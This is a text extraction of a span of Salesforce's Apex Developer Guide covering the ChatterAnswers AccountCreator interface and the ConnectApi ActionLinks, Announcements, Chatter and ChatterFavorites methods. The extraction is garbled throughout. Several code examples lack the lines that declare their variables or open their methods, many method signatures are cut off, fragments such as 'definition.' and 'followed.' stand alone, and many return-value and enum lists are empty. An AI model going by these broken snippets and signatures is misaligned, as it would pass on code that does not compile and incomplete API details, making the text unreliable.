Apex Developer Guide ChatterAnswers Namespace
Example
The following example implementation of onRender() catches a CanvasException that was thrown because a canvas URL was set
with a string that exceeded the maximum length. A CanvasRenderException is created and thrown to display the error to the user.
public class MyCanvasListener
implements Canvas.CanvasLifecycleHandler {

Canvas.ApplicationContext app = renderContext.getApplicationContext();
// Code to generate a URL string that is too long
// ...
// Try to set the canvas app URL using the invalid URL string
try {
app.setCanvasUrlPath(aUrlPathThatIsTooLong);
} catch (CanvasException e) {
// Display error to user by throwing a new CanvasRenderException
throw new Canvas.CanvasRenderException(e.getMessage());
}
}
}
See the Force.com Canvas Developer’s Guide for additional examples that use CanvasRenderException.
ChatterAnswers Namespace
The ChatterAnswers namespace provides an interface for creating Account records.
The following is the interface in the ChatterAnswers namespace.
IN THIS SECTION:
AccountCreator Interface
Creates Account records that will be associated with Chatter Answers users.
AccountCreator Interface
Creates Account records that will be associated with Chatter Answers users.
Namespace
ChatterAnswers
Usage
The ChatterAnswers.AccountCreator is specified in the registrationClassName attribute of a
chatteranswers:registration Visualforce component. This interface is called by Chatter Answers and allows for custom
creation of Account records used for portal users.
826
Apex Developer Guide ChatterAnswers Namespace
To implement the ChatterAnswers.AccountCreator interface, you must first declare a class with the implements
keyword as follows:
public class ChatterAnswersRegistration implements ChatterAnswers.AccountCreator {
Next, your class must provide an implementation for the following method:
public String createAccount(String firstname, String lastname, Id siteAdminId) {
// Your code here
}
The implemented method must be declared as global or public.
IN THIS SECTION:
AccountCreator Methods
AccountCreator Example Implementation
AccountCreator Methods
The following are methods for AccountCreator.
IN THIS SECTION:
createAccount(firstName, lastName, siteAdminId)
Accepts basic user information and creates an Account record. The implementation of this method returns the account ID.
createAccount(firstName, lastName, siteAdminId)

Accepts basic user information and creates an Account record. The implementation of this method returns the account ID.
Signature
public String createAccount(String firstName, String lastName, Id siteAdminId)
Parameters
firstName
Type: String
The first name of the user who is registering.
lastName
Type: String
The last name of the user who is registering.
siteAdminId
Type: ID
The user ID of the Site administrator, used for notification if any exceptions occur.
Return Value
Type: String
827
Apex Developer Guide ConnectApi Namespace
AccountCreator Example Implementation

This is an example implementation of the ChatterAnswers.AccountCreator interface. The createAccount method
implementation accepts user information and creates an Account record. The method returns a String value for the Account ID.
public class ChatterAnswersRegistration implements ChatterAnswers.AccountCreator {
public String createAccount(String firstname, String lastname, Id siteAdminId) {
Account a = new Account(name = firstname + ' ' + lastname, ownerId = siteAdminId);
insert a;
return a.Id;
}
}
This example tests the code above.

@isTest
private class ChatterAnswersCreateAccountTest {
static testMethod void validateAccountCreation() {
User[] user = [SELECT Id, Firstname, Lastname from User];
if (user.size() == 0) { return; }
String firstName = user[0].FirstName;
String lastName = user[0].LastName;
String userId = user[0].Id;
String accountId = new ChatterAnswersRegistration().createAccount(firstName,
lastName, userId);
Account acct = [SELECT name, ownerId from Account where Id =: accountId];
System.assertEquals(firstName + ' ' + lastName, acct.name);
System.assertEquals(userId, acct.ownerId);
}
}
The ConnectApi namespace (also called Chatter in Apex) provides classes for accessing the same data available in Chatter REST API.
Use Chatter in Apex to create custom Chatter experiences in Salesforce.
For information about working with the ConnectApi classes, see Chatter in Apex on page 294.
IN THIS SECTION:
ActionLinks Class
Create, delete, and get information about an action link group definition; get information about an action link group; get action link
diagnostic information.
Announcements Class
Access information about announcements and post announcements.
Chatter Class
Access information about followers and subscriptions for records.
Chatter favorites give you easy access to topics, list views, and feed searches.
828
ChatterFeeds Class
Get, post, and delete feed elements, likes, comments, and bookmarks. You can also search feed elements, share feed elements, and
vote on polls.
ChatterGroups Class
Information about groups, such as the group’s members, photo, and the groups the specified user is a member of. Add members
to a group, remove members, and change the group photo.
ChatterMessages Class
Access and modify message and conversation data.
ChatterUsers Class
Access information about users, such as followers, subscriptions, files, and groups.
Communities Class
Access general information about communities in your organization.
CommunityModeration Class
Access information about flagged feed items and comments in a community. Add and remove flags from comments and feed items.
To view a feed containing all flagged feed items, pass ConnectApi.FeedType.Moderation to the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed method.
ContentHub Class
Access Files Connect repositories and their files and folders.
Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.
EmailMergeFieldService Class
Extract a list of merge fields for an object. A merge field is a field you can put in an email template, mail merge template, custom
link, or formula to incorporate values from a record.
ExternalEmailServices Class
Access information about integration with external email services, such as sending email within Salesforce through an external email
account.
Knowledge Class
Access information about trending articles in communities.
ManagedTopics Class
Access information about managed topics in a community. Create, delete, and reorder managed topics.
Mentions Class
Access information about mentions. A mention is an “@” character followed by a user or group name. When a user or group is
mentioned, they receive a notification.
Organization Class
Access information about an organization.
QuestionAndAnswers Class
Access question and answers suggestions.
Recommendations Class
Access information about recommendations and reject recommendations. Also create, delete, get, and update recommendation
audiences, recommendation definitions, and scheduled recommendations.
Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.
829
SalesforceInbox Class
Access information about Automated Activity Capture, which is available in Einstein and Salesforce Inbox.
Topics Class
Access information about topics, such as their descriptions, the number of people talking about them, related topics, and information
about groups contributing to the topic. Update a topic’s name or description, merge topics, and add and remove topics from records
and feed items.
UserProfiles Class
Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes
user information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps,
which are custom tabs on the profile page.
Wave Class
Send a query string to Wave Analytics and get the results as JSON.
Zones Class
Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone
having its own focus and unique questions.
Some ConnectApi methods take arguments that are instances of ConnectApi input classes.
Most ConnectApi methods return instances of ConnectApi output classes.
ConnectApi Enums
Enums specific to the ConnectApi namespace.
ConnectApi Exceptions
The ConnectApi namespace contains exception classes.
ActionLinks Class
Create, delete, and get information about an action link group definition; get information about an action link group; get action link
diagnostic information.
Namespace
ConnectApi
Usage
There are two views of an action link and an action link group: the definition, and the context user’s view. The definition includes potentially
sensitive information, such as authentication information. The context user’s view is filtered by visibility options and the values reflect
the state of the context user.
Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from
the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the
830
call must have created the definition or have View All Data permission. Use these methods to operate on action link group definitions
(which contain action link definitions):
• createActionLinkGroupDefinition(communityId, actionLinkGroup)
• deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
• getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Use these methods to operate on a context user’s view of an action link or an action link group:
• getActionLink(communityId, actionLinkId)
• getActionLinkGroup(communityId, actionLinkGroupId)
• getActionLinkDiagnosticInfo(communityId, actionLinkId)
For information about how to use action links, see Working with Action Links.
ActionLinks Methods
The following are methods for ActionLinks. All methods are static.
IN THIS SECTION:
createActionLinkGroupDefinition(communityId, actionLinkGroup)
Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition.
Then post a feed element with an associated actions capability.
deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
Delete an action link group definition. Deleting an action link group definition removes all references to it from feed elements.
getActionLink(communityId, actionLinkId)
Get information about an action link, including state for the context user.
getActionLinkDiagnosticInfo(communityId, actionLinkId)
Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access
the action link.
getActionLinkGroup(communityId, actionLinkGroupId)
Get information about an action link group including state for the context user.
getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Get information about an action link group definition.
Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition.
Then post a feed element with an associated actions capability.
API Version
33.0
Requires Chatter
No
831
Signature
public static ConnectApi.ActionLinkGroupDefinition createActionLinkGroupDefinition(String
communityId, ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroup)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
actionLinkGroup
Type: ConnectApi.ActionLinkGroupDefinitionInput
A ConnectApi.ActionLinkGroupDefinitionInput object that defines the action link group.
Return Value
Type: ConnectApi.ActionLinkGroupDefinition
Usage
All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Define stand-alone
actions in their own action group.
Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason,
only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In
addition, the user making the call must have created the definition or have View All Data permission.
Note: Invoking ApiAsync action links from an app requires a call to set the status. However, there isn’t currently a way to set
the status of an action link using Apex. To set the status, use Chatter REST API. See the Action Link resource in the Chatter REST API
Developer Guide for more information.
Example for Defining an Action Link and Posting with a Feed Element
For more information about this example, see Define an Action Link and Post with a Feed Element.
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
// Create the action link group definition.

actionLinkGroupDefinitionInput.actionLinks = New
List<ConnectApi.ActionLinkDefinitionInput>();
actionLinkGroupDefinitionInput.executionsAllowed =
ConnectApi.ActionLinkExecutionsAllowed.OncePerUser;
actionLinkGroupDefinitionInput.category = ConnectApi.PlatformActionGroupCategory.Primary;
832
// To Do: Verify that the date is in the future.

// Action link groups are removed from feed elements on the expiration date.
datetime myDate = datetime.newInstance(2016, 3, 1);
actionLinkGroupDefinitionInput.expirationDate = myDate;
// Create the action link definition.

actionLinkDefinitionInput.actionType = ConnectApi.ActionLinkType.Api;
actionLinkDefinitionInput.actionUrl = '/services/data/v33.0/chatter/feed-elements';
actionLinkDefinitionInput.headers = new List<ConnectApi.RequestHeaderInput>();
actionLinkDefinitionInput.labelKey = 'Post';
actionLinkDefinitionInput.method = ConnectApi.HttpRequestMethod.HttpPost;
actionLinkDefinitionInput.requestBody = '{\"subjectId\": \"me\",\"feedElementType\":
\"FeedItem\",\"body\": {\"messageSegments\": [{\"type\": \"Text\",\"text\": \"This is a
test post created via an API action link.\"}]}}';
actionLinkDefinitionInput.requiresConfirmation = true;
// To Do: Substitute an OAuth value for your Salesforce org.

requestHeaderInput1.name = 'Authorization';
requestHeaderInput1.value = 'OAuth
00DD00000007WNP!ARsAQCwoeV0zzAV847FTl4zF.85w.EwsPbUgXR4SAjsp';
requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);


// Set the properties of the feedItemInput object.

// Create the text for the post.

// The feedElementCapabilitiesInput object holds the capabilities of the feed item.
833
// Define an associated actions capability to hold the action link group.

definition.

Example for Defining an Action Link in a Template and Posting with a Feed Element
For more information about this example, see Define an Action Link in a Template and Post with a Feed Element.

// The names are defined in the action link template(s) associated with the action link
group template.
// Get them from Setup UI or SOQL.
bindingMap.put('ApiVersion', 'v33.0');
bindingMap.put('Text', 'This post was created by an API action link.');
bindingMap.put('SubjectId', 'me');


}


834





// For this feed item, we define an associated actions capability to hold the action link
group.
definition.

deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
Delete an action link group definition. Deleting an action link group definition removes all references to it from feed elements.
API Version
33.0
Requires Chatter
No
Signature
public static void deleteActionLinkGroupDefinition(String communityId, String
actionLinkGroupId)
Parameters
communityId
Type: String
835
actionLinkGroupId
Type: String
The ID of the action link group.
Return Value
Type: Void
Usage
getActionLink(communityId, actionLinkId)
Get information about an action link, including state for the context user.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.PlatformAction getActionLink(String communityId, String
actionLinkId)
Parameters
communityId
Type: String
actionLinkId
Type: String
The ID of the action link.
Return Value
Type: ConnectApi.PlatformAction
getActionLinkDiagnosticInfo(communityId, actionLinkId)
Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access the
action link.
836
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.ActionLinkDiagnosticInfo getActionLinkDiagnosticInfo(String
communityId, String actionLinkId)
Parameters
communityId
Type: String
actionLinkId
Type: String
The ID of the action link.
Return Value
Type: ConnectApi.ActionLinkDiagnosticInfo
getActionLinkGroup(communityId, actionLinkGroupId)
Get information about an action link group including state for the context user.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.PlatformActionGroup getActionLinkGroup(String communityId,
String actionLinkGroupId)
Parameters
communityId
Type: String
actionLinkGroupId
Type: String
837
Return Value
Type: ConnectApi.PlatformActionGroup
Usage
All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Note that action link
groups are accessible by clients, unlike action link group definitions.
getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Get information about an action link group definition.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.ActionLinkGroupDefinition getActionLinkGroupDefinition(String
communityId, String actionLinkGroupId)
Parameters
communityId
Type: String
actionLinkGroupId
Type: String
Return Value
Type: ConnectApi.ActionLinkGroupDefinition
Usage
Announcements Class
Access information about announcements and post announcements.
838
Namespace
ConnectApi
Usage
Use the ConnectApi.Announcements class to get, create, update, and delete announcements. Use an announcement to
highlight information. Users can discuss, like, and post comments on announcements. Deleting the feed post deletes the announcement.
This image shows an announcement displayed in a group. Creating an announcement also creates a feed item with the announcement
text.
An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or
replaced by another announcement.
Announcements Methods
The following are methods for Announcements. All methods are static.
IN THIS SECTION:
deleteAnnouncement(communityId, announcementId)
Deletes the specified announcement.
getAnnouncement(communityId, announcementId)
Gets the specified announcement.
getAnnouncements(communityId, parentId)
Get the first page of announcements.
getAnnouncements(communityId, parentId, pageParam, pageSize)
Get the specified page of announcements.
839
postAnnouncement(communityId, announcement)
Post an announcement.
updateAnnouncement(communityId, announcementId, expirationDate)
Updates the expiration date of the specified announcement.
deleteAnnouncement(communityId, announcementId)
Deletes the specified announcement.
API Version
31.0
Requires Chatter
Yes
Signature
public static void deleteAnnouncement(String communityId, String announcementId)
Parameters
communityId
Type: String
announcementId
Type: String
An announcement ID, which has a prefix of 0BT.
Return Value
Type: Void
Usage
To get a list of announcements in a group, call getAnnouncements(communityId, parentId) or
getAnnouncements(communityId, parentId, pageParam, pageSize).
To post an announcement to a group, call postAnnouncement(communityId, announcement) .
getAnnouncement(communityId, announcementId)
Gets the specified announcement.
API Version
31.0
840
Requires Chatter
Yes
Signature
public static ConnectApi.Announcement getAnnouncement(String communityId, String
announcementId)
Parameters
communityId
Type: String
announcementId
Type: String
Return Value
Type: ConnectApi.Announcement
Usage
getAnnouncements(communityId, parentId)
Get the first page of announcements.
API Version
36.0
Available to Guest Users

38.0
Requires Chatter
Yes
Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
parentId)
841
Parameters
communityId
Type: String
parentId
Type: String
ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.
Return Value
Type: ConnectApi.AnnouncementPage
getAnnouncements(communityId, parentId, pageParam, pageSize)

Get the specified page of announcements.
API Version
36.0

38.0
Requires Chatter
Yes
Signature
parentId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
parentId
Type: String
ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
842
Specifies the number of announcements per page.
Return Value
postAnnouncement(communityId, announcement)
Post an announcement.
API Version
36.0
Requires Chatter
Yes
Signature
public static ConnectApi.Announcement postAnnouncement(String communityId,
ConnectApi.AnnouncementInput announcement)
Parameters
communityId
Type: String
announcement
Type: ConnectApi.AnnouncementInput
A ConnectApi.AnnouncementInput object.
Return Value
updateAnnouncement(communityId, announcementId, expirationDate)

Updates the expiration date of the specified announcement.
API Version
31.0
Requires Chatter
Yes
843
Signature
public static ConnectApi.Announcement updateAnnouncement(String communityId, String
announcementId, Datetime expirationDate)
Parameters
communityId
Type: String
announcementId
Type: String
expirationDate
Type: Datetime
The Salesforce UI displays an announcement until 11:59 p.m. on this date unless another announcement is posted first. The Salesforce
UI ignores the time value in the expirationDate. However, you can use the time value to create your own display logic in your
own UI.
Return Value
Usage
Chatter Class
Access information about followers and subscriptions for records.
Namespace
ConnectApi
Chatter Methods
The following are methods for Chatter. All methods are static.
IN THIS SECTION:
deleteSubscription(communityId, subscriptionId)
Deletes the specified subscription. Use this method to unfollow a record, a user, or a file.
getFollowers(communityId, recordId)
Returns the first page of followers for the specified record in the specified community. The page contains the default number of
items.
844
getFollowers(communityId, recordId, pageParam, pageSize)

Returns the specified page of followers for the specified record.
getSubscription(communityId, subscriptionId)
Returns information about the specified subscription.
submitDigestJob(period)
Submit a daily or weekly Chatter email digest job.
deleteSubscription(communityId, subscriptionId)
Deletes the specified subscription. Use this method to unfollow a record, a user, or a file.
API Version
28.0
Requires Chatter
Yes
Signature
public static void deleteSubscription(String communityId, String subscriptionId)
Parameters
communityId
Type: String
subscriptionId
Type: String
The ID for a subscription.
Return Value
Type: Void
Usage
“Following” a user, group, or record is the same as “subscribing” to a user, group, or record. A “follower” is the user who followed the
user, group, or record. A “subscription” is an object describing the relationship between the follower and the user, group, or record they
followed.
To leave a group, call deleteMember(communityId, membershipId).
845
Example
When you follow a user, the call to ConnectApi.ChatterUsers.follow returns a ConnectApi.Subscription object.
To unfollow the user, pass the id property of that object to this method.
ConnectApi.Chatter.deleteSubscription(null, '0E8RR0000004CnK0AU');
SEE ALSO:
Follow a Record
follow(communityId, userId, subjectId)
getFollowers(communityId, recordId)
Returns the first page of followers for the specified record in the specified community. The page contains the default number of items.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String recordId)
Parameters
communityId
Type: String
recordId
Type: String
The ID for a record or the keyword me.
Return Value
Type: ConnectApi.FollowerPage
Usage
followed.
SEE ALSO:
Follow a Record
846
getFollowers(communityId, recordId, pageParam, pageSize)

Returns the specified page of followers for the specified record.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String recordId,
Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
recordId
Type: String
The ID for a record or the keyword me.
pageParam
Type: Integer
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Usage
followed.
SEE ALSO:
Follow a Record
getSubscription(communityId, subscriptionId)
Returns information about the specified subscription.
847
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Subscription getSubscription(String communityId, String
subscriptionId)
Parameters
communityId
Type: String
subscriptionId
Type: String
The ID for a subscription.
Return Value
Type: ConnectApi.Subscription
Usage
followed.
SEE ALSO:
Follow a Record
submitDigestJob(period)
Submit a daily or weekly Chatter email digest job.
API Version
37.0
Requires Chatter
Yes
848
Signature
public static ConnectApi.DigestJobRepresentation submitDigestJob(ConnectApi.DigestPeriod
period)
Parameters
period
Type: ConnectApi.DigestPeriod
Specifies the period of time that is included in a Chatter email digest. Values are:
• DailyDigest—The email includes up to the 50 latest posts from the previous day.
• WeeklyDigest—The email includes up to the 50 latest posts from the previous week.
Return Value
Type: ConnectApi.DigestJob
Usage
The times when Chatter sends email digests are not configurable in the UI. To control when email digests are sent and to use this method,
contact Salesforce to enable API-only Chatter Digests.
Warning: Enabling API-only Chatter Digests disables the scheduled digests for your org. You must call the API for your users to
receive their digests.
We recommend scheduling digest jobs by implementing the Apex Schedulable interface with this method. To monitor your digest
jobs from Setup, enter Background Jobs in the Quick Find box, then select Background Jobs.
Example
Schedule daily digests:
global class ExampleDigestJob1 implements Schedulable {
global void execute(SchedulableContext context) {
ConnectApi.Chatter.submitDigestJob(ConnectApi.DigestPeriod.DailyDigest);
}
}
Schedule weekly digests:

global class ExampleDigestJob2 implements Schedulable {
global void execute(SchedulableContext context) {
ConnectApi.Chatter.submitDigestJob(ConnectApi.DigestPeriod.WeeklyDigest);
}
}
SEE ALSO:
Apex Scheduler
Chatter favorites give you easy access to topics, list views, and feed searches.
849
Namespace
ConnectApi
Usage
Use Chatter in Apex to get and delete topics, list views, and feed searches that have been added as favorites. Add topics and feed searches
as favorites, and update the last view date of a feed search or list view feed to the current system time.
In this image of Salesforce, “Build Issues” is a topic, “All Accounts” is a list view, and “United” is a feed search:
ChatterFavorites Methods
The following are methods for ChatterFavorites. All methods are static.
IN THIS SECTION:
addFavorite(communityId, subjectId, searchText)
Adds a feed search favorite for the specified user in the specified community.
addRecordFavorite(communityId, subjectId, targetId)
Adds a topic as a favorite.
deleteFavorite(communityId, subjectId, favoriteId)
Deletes the specified favorite.
getFavorite(communityId, subjectId, favoriteId)
Returns a description of the favorite.
getFavorites(communityId, subjectId)
Returns a list of all favorites for the specified user in the specified community.
850
getFeedElements(communityId, subjectId, favoriteId)

Returns the first page of feed elements for the specific favorite in the specified community.
getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order.
getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed element.
getFeedItems(communityId, subjectId, favoriteId)
Returns the first page of feed items for the specific favorite in the specified community. The page contains the default number of
items.
getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order.
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed item.
updateFavorite(communityId, subjectId, favoriteId, updateLastViewDate)
Updates the last view date of the saved search or list view feed to the current system time if you specify true for
updateLastViewDate.
addFavorite(communityId, subjectId, searchText)

Adds a feed search favorite for the specified user in the specified community.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedFavorite addFavorite(String communityId, String subjectId,
String searchText)
Parameters
communityId
Type: String
subjectId
Type: String
The ID of the context user or the alias me.
searchText
Type: String
851
Specify the text of the search to be saved as a favorite. This method can only create a feed search favorite, not a list view favorite or
a topic.
Return Value
Type: ConnectApi.FeedFavorite
addRecordFavorite(communityId, subjectId, targetId)

Adds a topic as a favorite.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedFavorite addRecordFavorite(String communityId, String
subjectId, String targetId)
Parameters
communityId
Type: String
subjectId
Type: String
targetId
Type: String
The ID of the topic to add as a favorite.
Return Value
deleteFavorite(communityId, subjectId, favoriteId)

Deletes the specified favorite.
API Version
28.0
852
Requires Chatter
Yes
Signature
public static Void deleteFavorite(String communityId, String subjectId, String
favoriteId)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
The ID of a favorite.
Return Value
Type: Void
getFavorite(communityId, subjectId, favoriteId)

Returns a description of the favorite.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedFavorite getFavorite(String communityId, String subjectId,
String favoriteId)
Parameters
communityId
Type: String
subjectId
Type: String
853

favoriteId
Type: String
Return Value
getFavorites(communityId, subjectId)
Returns a list of all favorites for the specified user in the specified community.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedFavorites getFavorites(String communityId, String subjectId)
Parameters
communityId
Type: String
subjectId
Type: String
Return Value
Type: ConnectApi.FeedFavorites

Returns the first page of feed elements for the specific favorite in the specified community.
API Version
31.0
Requires Chatter
Yes
854
Signature
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String
subjectId, String favoriteId)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, result)

Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order.
API Version
31.0
Requires Chatter
Yes
Signature
subjectId, String favoriteId, String pageParam, Integer pageSize,
855
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration,
Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Usage
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)
856
getFeedElements(communityId, subjectId, favoriteId, recentCommentCount,

elementsPerBundle, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed element.
API Version
31.0
Requires Chatter
Yes
Signature
subjectId, String favoriteId, Integer recentCommentCount, Integer elementsPerBundle,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
pageParam
Type: String
pageSize
Type: Integer
857
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize,
sortParam, result)

Returns the first page of feed items for the specific favorite in the specified community. The page contains the default number of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId,
String favoriteId)
858
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
Return Value
Type: ConnectApi.FeedItemPage
Usage
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, result)

Returns the specified page of feed items for the specified favorite, in the specified community in the specified order.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam).
Requires Chatter
Yes
Signature
String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)
859
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
pageParam
Type: String
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Values are:
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Usage
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)
860
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam,

pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order and includes no
more than the specified number of comments per feed item.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId, recentCommentCount,
elementsPerBundle, pageParam, pageSize, sortParam).
Requires Chatter
Yes
Signature
String favoriteId, Integer recentCommentCount, String pageParam, Integer pageSize,
FeedSortOrder sortParam)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
pageParam
Type: String
pageSize
Type: Integer
sortParam
Type: FeedSortOrder
861
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam, result)
updateFavorite(communityId, subjectId, favoriteId, updateLastViewDate)

Updates the last view date of the saved search or list view feed to the current system time if you specify true for
updateLastViewDate.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedFavorite updateFavorite(String communityId, String
subjectId, String favoriteId, Boolean updateLastViewDate)
Parameters
communityId
Type: String
862
subjectId
Type: String
favoriteId
Type: String
updateLastViewDate
Type: Boolean
Specify whether to update the last view date of the specified favorite to the current system time (true) or not (false).
Return Value
ChatterFavorites Test Methods

The following are the test methods for ChatterFavorites. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestGetFeedElements(communityId, subjectId, favoriteId, result)

Registers a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching
parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElements(String communityId, String subjectId, String
favoriteId, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
result
863
The object containing test data.
Return Value
Type: Void
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize,

sortParam, result)
API Version
31.0
Signature
favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
subjectId
Type: String
favoriteId
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
864
Values are:
result
Return Value
Type: Void
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, recentCommentCount,

elementsPerBundle, pageParam, pageSize, sortParam, result)
API Version
31.0
Signature
favoriteId, Integer recentCommentCount, Integer elementsPerBundle, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
subjectId
Type: String
865
favoriteId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)
866
